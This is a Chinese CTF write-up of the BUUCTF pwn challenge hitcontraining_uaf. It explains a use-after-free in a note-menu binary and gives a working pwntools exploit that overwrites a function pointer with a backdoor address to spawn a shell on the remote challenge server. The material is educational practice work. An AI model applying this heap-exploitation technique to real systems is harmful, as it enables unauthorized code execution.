zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]——hitcontraining_uaf

    附件

    步骤:
    例行检查,32位,开启了nx保护
    在这里插入图片描述
    试运行一下程序,非常常见的创建堆块的菜单
    在这里插入图片描述
    32位ida载入分析,shift+f12查看程序里的字符串,发现了/bin/sh,ctrl+x,跟进找到了后面函数,shell_addr=0x8048945
    在这里插入图片描述
    堆的main函数很简单,逻辑很简单,也没什么好说的,直接看菜单的各个选项

    add,可以发现创建了两个chunk,第一个chunk是默认的,存放puts函数,我们可以控制第二个chunk
    在这里插入图片描述

    add(16,'aaa')
    gdb.attach(r)
    

    执行一次add,跟我们ida分析的一样,创建了两个堆块,而且我们修改的是第二个堆块的内容
    在这里插入图片描述

    delete,它只释放掉了堆块里的内容,但是没有将指针置0,存在uaf漏洞
    在这里插入图片描述
    printf
    在这里插入图片描述
    用printf打印一个堆块看一下内容,可以看到打印出了add创建的第二个chunk里的值
    在这里插入图片描述

    利用过程

    add(48,'aaaa')
    add(48,'bbbb')
    gdb.attach(r)
    

    堆的调试注意一下bk链接的地址
    我们首先来调用两次add来创建堆,(实际上创建了4个堆),看一下add的两块堆的情况
    在这里插入图片描述

    释放掉两个来看一下

    delete(0)
    delete(1)
    

    在这里插入图片描述
    我们再申请一个8字节的chunk,写入shell_addr,看一下堆块的情况

    add(8,p32(shell_addr)) 
    

    在这里插入图片描述
    可以看到我们新建的chunk由0x8516048和0x8516010构成,我们现在进行printf的话就会跳转到后门函数,就获取了shell

    EXP

    from pwn import*
    
    r=remote('node3.buuoj.cn',28237)
    #r=process('./hacknote')
    
    def add(size,content):
      r.sendlineafter('choice :','1')
      r.sendlineafter('Note size :',str(size))
      r.sendlineafter('Content :',content)
    
    def delete(idx):
      r.sendlineafter('choice :','2')
      r.sendlineafter('Index :',str(idx))
    
    def printf(idx):
      r.sendlineafter('choice :','3')
      r.sendlineafter('Index :',str(idx))
    
    shell_addr=0x8048945
    
    add(48,'aaaa')
    add(48,'bbbb')
    #gdb.attach(r)
    delete(0)
    delete(1)
    add(8,p32(shell_addr))
    printf(0)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    POI使用详解
    POI导入导出Excel文件(二)
    jsp页面String转JSON
    jQuery的9中构造函数
    元素的BFC特性与自适应布局
    JS replace可以接受回调函数
    基于clip-path的任意元素的碎片拼接动效(源自鑫空间)
    解耦应用逻辑/事件处理程序
    CSS行高line-height的一些深入理解及应用
    常见的三种三栏网页宽度自适应布局 方法
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273713.html
Copyright © 2011-2022 走看看